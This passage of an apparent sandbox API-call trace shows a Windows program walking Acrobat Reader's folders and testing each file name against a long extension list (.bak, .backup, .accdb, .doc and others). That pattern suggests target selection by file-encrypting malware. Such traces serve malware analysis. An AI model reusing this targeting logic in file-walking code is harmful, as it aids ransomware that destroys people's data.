dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.061] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.061] lstrlenW (lpString="ui-strings.js") returned 13 [0273.061] lstrlenW (lpString=".1cd") returned 4 [0273.061] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0273.061] lstrlenW (lpString=".3ds") returned 4 [0273.061] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0273.061] lstrlenW (lpString=".3fr") returned 4 [0273.061] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0273.061] lstrlenW (lpString=".3g2") returned 4 [0273.061] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0273.061] lstrlenW (lpString=".3gp") returned 4 [0273.061] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0273.061] lstrlenW (lpString=".7z") returned 3 [0273.061] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0273.061] lstrlenW (lpString=".accda") returned 6 [0273.061] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0273.061] lstrlenW (lpString=".accdb") returned 6 [0273.062] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0273.062] lstrlenW (lpString=".accdc") returned 6 [0273.062] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0273.062] lstrlenW (lpString=".accde") returned 6 [0273.062] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0273.062] lstrlenW (lpString=".accdt") returned 6 [0273.062] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0273.062] lstrlenW (lpString=".accdw") returned 6 [0273.062] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0273.062] lstrlenW (lpString=".adb") returned 4 [0273.062] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0273.062] lstrlenW (lpString=".adp") returned 4 [0273.062] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0273.062] lstrlenW (lpString=".ai") returned 3 [0273.062] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0273.062] lstrlenW (lpString=".ai3") returned 4 [0273.062] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0273.062] lstrlenW (lpString=".ai4") returned 4 [0273.062] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0273.062] lstrlenW (lpString=".ai5") returned 4 [0273.062] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0273.062] lstrlenW (lpString=".ai6") returned 4 [0273.062] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0273.062] lstrlenW (lpString=".ai7") returned 4 [0273.062] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0273.062] lstrlenW (lpString=".ai8") returned 4 [0273.062] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0273.062] lstrlenW (lpString=".anim") returned 5 [0273.062] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0273.062] lstrlenW (lpString=".arw") returned 4 [0273.063] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0273.063] lstrlenW (lpString=".as") returned 3 [0273.063] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0273.063] lstrlenW (lpString=".asa") returned 4 [0273.063] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0273.063] lstrlenW (lpString=".asc") returned 4 [0273.063] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0273.063] lstrlenW (lpString=".ascx") returned 5 [0273.063] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0273.063] lstrlenW (lpString=".asm") returned 4 [0273.063] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0273.063] lstrlenW (lpString=".asmx") returned 5 [0273.063] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0273.063] lstrlenW (lpString=".asp") returned 4 [0273.063] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0273.063] lstrlenW (lpString=".aspx") returned 5 [0273.063] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0273.063] lstrlenW (lpString=".asr") returned 4 [0273.063] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0273.063] lstrlenW (lpString=".asx") returned 4 [0273.063] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0273.063] lstrlenW (lpString=".avi") returned 4 [0273.063] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0273.063] lstrlenW (lpString=".avs") returned 4 [0273.063] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0273.063] lstrlenW (lpString=".backup") returned 7 [0273.063] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0273.063] lstrlenW (lpString=".bak") returned 4 [0273.063] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0273.064] lstrlenW (lpString=".bay") returned 4 [0273.064] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0273.064] lstrlenW (lpString=".bd") returned 3 [0273.064] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0273.064] lstrlenW (lpString=".bin") returned 4 [0273.064] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0273.064] lstrlenW (lpString=".bmp") returned 4 [0273.064] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0273.064] lstrlenW (lpString=".bz2") returned 4 [0273.064] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0273.064] lstrlenW (lpString=".c") returned 2 [0273.064] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0273.064] lstrlenW (lpString=".cdr") returned 4 [0273.064] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0273.064] lstrlenW (lpString=".cer") returned 4 [0273.064] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0273.064] lstrlenW (lpString=".cf") returned 3 [0273.064] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0273.064] lstrlenW (lpString=".cfc") returned 4 [0273.064] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0273.064] lstrlenW (lpString=".cfm") returned 4 [0273.064] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0273.064] lstrlenW (lpString=".cfml") returned 5 [0273.064] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0273.064] lstrlenW (lpString=".cfu") returned 4 [0273.064] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0273.064] lstrlenW (lpString=".chm") returned 4 [0273.064] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0273.064] lstrlenW (lpString=".cin") returned 4 [0273.064] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0273.064] lstrlenW (lpString=".class") returned 6 [0273.065] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0273.065] lstrlenW (lpString=".clx") returned 4 [0273.065] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0273.065] lstrlenW (lpString=".config") returned 7 [0273.065] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0273.065] lstrlenW (lpString=".cpp") returned 4 [0273.065] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0273.065] lstrlenW (lpString=".cr2") returned 4 [0273.065] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0273.065] lstrlenW (lpString=".crt") returned 4 [0273.065] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0273.065] lstrlenW (lpString=".crw") returned 4 [0273.065] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0273.065] lstrlenW (lpString=".cs") returned 3 [0273.065] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0273.065] lstrlenW (lpString=".css") returned 4 [0273.065] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0273.065] lstrlenW (lpString=".csv") returned 4 [0273.065] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0273.065] lstrlenW (lpString=".cub") returned 4 [0273.065] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0273.065] lstrlenW (lpString=".dae") returned 4 [0273.065] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0273.065] lstrlenW (lpString=".dat") returned 4 [0273.065] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0273.065] lstrlenW (lpString=".db") returned 3 [0273.065] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0273.065] lstrlenW (lpString=".dbf") returned 4 [0273.065] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0273.066] lstrlenW (lpString=".dbx") returned 4 [0273.066] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0273.066] lstrlenW (lpString=".dc3") returned 4 [0273.066] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0273.066] lstrlenW (lpString=".dcm") returned 4 [0273.066] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0273.066] lstrlenW (lpString=".dcr") returned 4 [0273.066] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0273.066] lstrlenW (lpString=".der") returned 4 [0273.066] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0273.066] lstrlenW (lpString=".dib") returned 4 [0273.066] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0273.066] lstrlenW (lpString=".dic") returned 4 [0273.066] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0273.066] lstrlenW (lpString=".dif") returned 4 [0273.066] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0273.066] lstrlenW (lpString=".divx") returned 5 [0273.066] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0273.066] lstrlenW (lpString=".djvu") returned 5 [0273.066] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0273.066] lstrlenW (lpString=".dng") returned 4 [0273.066] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0273.066] lstrlenW (lpString=".doc") returned 4 [0273.066] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0273.066] lstrlenW (lpString=".docm") returned 5 [0273.066] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0273.066] lstrlenW (lpString=".docx") returned 5 [0273.066] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0273.066] lstrlenW (lpString=".dot") returned 4 [0273.066] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0273.067] lstrlenW (lpString=".dotm") returned 5 [0273.067] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0273.067] lstrlenW (lpString=".dotx") returned 5 [0273.067] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0273.067] lstrlenW (lpString=".dpx") returned 4 [0273.067] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0273.067] lstrlenW (lpString=".dqy") returned 4 [0273.067] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0273.067] lstrlenW (lpString=".dsn") returned 4 [0273.067] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0273.067] lstrlenW (lpString=".dt") returned 3 [0273.067] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0273.067] lstrlenW (lpString=".dtd") returned 4 [0273.067] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0273.067] lstrlenW (lpString=".dwg") returned 4 [0273.067] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0273.067] lstrlenW (lpString=".dwt") returned 4 [0273.067] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0273.067] lstrlenW (lpString=".dx") returned 3 [0273.067] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0273.067] lstrlenW (lpString=".dxf") returned 4 [0273.067] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0273.067] lstrlenW (lpString=".edml") returned 5 [0273.067] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0273.067] lstrlenW (lpString=".efd") returned 4 [0273.067] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0273.067] lstrlenW (lpString=".elf") returned 4 [0273.067] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0273.067] lstrlenW (lpString=".emf") returned 4 [0273.068] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0273.068] lstrlenW (lpString=".emz") returned 4 [0273.068] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0273.068] lstrlenW (lpString=".epf") returned 4 [0273.068] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0273.068] lstrlenW (lpString=".eps") returned 4 [0273.068] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0273.068] lstrlenW (lpString=".epsf") returned 5 [0273.068] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0273.068] lstrlenW (lpString=".epsp") returned 5 [0273.068] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0273.068] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.068] FindClose (in: hFindFile=0x33155f0 | out: hFindFile=0x33155f0) returned 1 [0273.068] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0273.068] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0273.068] FindClose (in: hFindFile=0x3315830 | out: hFindFile=0x3315830) returned 1 [0273.069] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5050048 | out: hHeap=0x670000) returned 1 [0273.069] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9838, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0273.069] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc2b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="selector.js", cAlternateFileName="")) returned 1 [0273.069] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc2b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="selector.js", cAlternateFileName="")) returned 0 [0273.069] FindClose (in: hFindFile=0x3315570 | out: hFindFile=0x3315570) returned 1 [0273.069] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0273.069] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0273.069] FindClose (in: hFindFile=0x3315930 | out: hFindFile=0x3315930) returned 1 [0273.069] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0273.071] FindNextFileW (in: hFindFile=0x3315bb0, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="add-account-select", cAlternateFileName="ADD-AC~2")) returned 1 [0273.071] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5050048 [0273.072] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\*", lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315bf0 [0273.073] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.073] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0273.073] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0273.074] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315c70 [0273.078] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.079] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x27a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 1 [0273.079] lstrlenW (lpString="main.css") returned 8 [0273.079] lstrlenW (lpString=".1cd") returned 4 [0273.079] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0273.079] lstrlenW (lpString=".3ds") returned 4 [0273.079] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1 [0273.079] lstrlenW (lpString=".3fr") returned 4 [0273.079] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1 [0273.079] lstrlenW (lpString=".3g2") returned 4 [0273.079] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1 [0273.079] lstrlenW (lpString=".3gp") returned 4 [0273.079] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1 [0273.079] lstrlenW (lpString=".7z") returned 3 [0273.079] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0273.079] lstrlenW (lpString=".accda") returned 6 [0273.079] lstrcmpiW (lpString1=".accda", lpString2="in.css") returned -1 [0273.079] lstrlenW (lpString=".accdb") returned 6 [0273.079] lstrcmpiW (lpString1=".accdb", lpString2="in.css") returned -1 [0273.079] lstrlenW (lpString=".accdc") returned 6 [0273.079] lstrcmpiW (lpString1=".accdc", lpString2="in.css") returned -1 [0273.079] lstrlenW (lpString=".accde") returned 6 [0273.079] lstrcmpiW (lpString1=".accde", lpString2="in.css") returned -1 [0273.079] lstrlenW (lpString=".accdt") returned 6 [0273.079] lstrcmpiW (lpString1=".accdt", lpString2="in.css") returned -1 [0273.079] lstrlenW (lpString=".accdw") returned 6 [0273.079] lstrcmpiW (lpString1=".accdw", lpString2="in.css") returned -1 [0273.080] lstrlenW (lpString=".adb") returned 4 [0273.080] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1 [0273.080] lstrlenW (lpString=".adp") returned 4 [0273.080] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1 [0273.080] lstrlenW (lpString=".ai") returned 3 [0273.080] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1 [0273.080] lstrlenW (lpString=".ai3") returned 4 [0273.080] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1 [0273.080] lstrlenW (lpString=".ai4") returned 4 [0273.080] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1 [0273.080] lstrlenW (lpString=".ai5") returned 4 [0273.080] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1 [0273.080] lstrlenW (lpString=".ai6") returned 4 [0273.080] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1 [0273.080] lstrlenW (lpString=".ai7") returned 4 [0273.080] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1 [0273.080] lstrlenW (lpString=".ai8") returned 4 [0273.080] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1 [0273.080] lstrlenW (lpString=".anim") returned 5 [0273.080] lstrcmpiW (lpString1=".anim", lpString2="n.css") returned -1 [0273.080] lstrlenW (lpString=".arw") returned 4 [0273.080] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1 [0273.080] lstrlenW (lpString=".as") returned 3 [0273.080] lstrcmpiW (lpString1=".as", lpString2="css") returned -1 [0273.080] lstrlenW (lpString=".asa") returned 4 [0273.080] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1 [0273.080] lstrlenW (lpString=".asc") returned 4 [0273.081] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1 [0273.081] lstrlenW (lpString=".ascx") returned 5 [0273.081] lstrcmpiW (lpString1=".ascx", lpString2="n.css") returned -1 [0273.081] lstrlenW (lpString=".asm") returned 4 [0273.081] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1 [0273.081] lstrlenW (lpString=".asmx") returned 5 [0273.081] lstrcmpiW (lpString1=".asmx", lpString2="n.css") returned -1 [0273.081] lstrlenW (lpString=".asp") returned 4 [0273.081] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1 [0273.081] lstrlenW (lpString=".aspx") returned 5 [0273.081] lstrcmpiW (lpString1=".aspx", lpString2="n.css") returned -1 [0273.081] lstrlenW (lpString=".asr") returned 4 [0273.081] lstrcmpiW (lpString1=".asr", lpString2=".css") returned -1 [0273.081] lstrlenW (lpString=".asx") returned 4 [0273.081] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1 [0273.081] lstrlenW (lpString=".avi") returned 4 [0273.081] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1 [0273.081] lstrlenW (lpString=".avs") returned 4 [0273.081] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1 [0273.081] lstrlenW (lpString=".backup") returned 7 [0273.081] lstrcmpiW (lpString1=".backup", lpString2="ain.css") returned -1 [0273.081] lstrlenW (lpString=".bak") returned 4 [0273.081] lstrcmpiW (lpString1=".bak", lpString2=".css") returned -1 [0273.081] lstrlenW (lpString=".bay") returned 4 [0273.081] lstrcmpiW (lpString1=".bay", lpString2=".css") returned -1 [0273.081] lstrlenW (lpString=".bd") returned 3 [0273.082] lstrcmpiW (lpString1=".bd", lpString2="css") returned -1 [0273.082] lstrlenW (lpString=".bin") returned 4 [0273.082] lstrcmpiW (lpString1=".bin", lpString2=".css") returned -1 [0273.082] lstrlenW (lpString=".bmp") returned 4 [0273.082] lstrcmpiW (lpString1=".bmp", lpString2=".css") returned -1 [0273.082] lstrlenW (lpString=".bz2") returned 4 [0273.082] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1 [0273.082] lstrlenW (lpString=".c") returned 2 [0273.082] lstrcmpiW (lpString1=".c", lpString2="ss") returned -1 [0273.082] lstrlenW (lpString=".cdr") returned 4 [0273.082] lstrcmpiW (lpString1=".cdr", lpString2=".css") returned -1 [0273.082] lstrlenW (lpString=".cer") returned 4 [0273.082] lstrcmpiW (lpString1=".cer", lpString2=".css") returned -1 [0273.082] lstrlenW (lpString=".cf") returned 3 [0273.082] lstrcmpiW (lpString1=".cf", lpString2="css") returned -1 [0273.082] lstrlenW (lpString=".cfc") returned 4 [0273.082] lstrcmpiW (lpString1=".cfc", lpString2=".css") returned -1 [0273.082] lstrlenW (lpString=".cfm") returned 4 [0273.082] lstrcmpiW (lpString1=".cfm", lpString2=".css") returned -1 [0273.082] lstrlenW (lpString=".cfml") returned 5 [0273.082] lstrcmpiW (lpString1=".cfml", lpString2="n.css") returned -1 [0273.082] lstrlenW (lpString=".cfu") 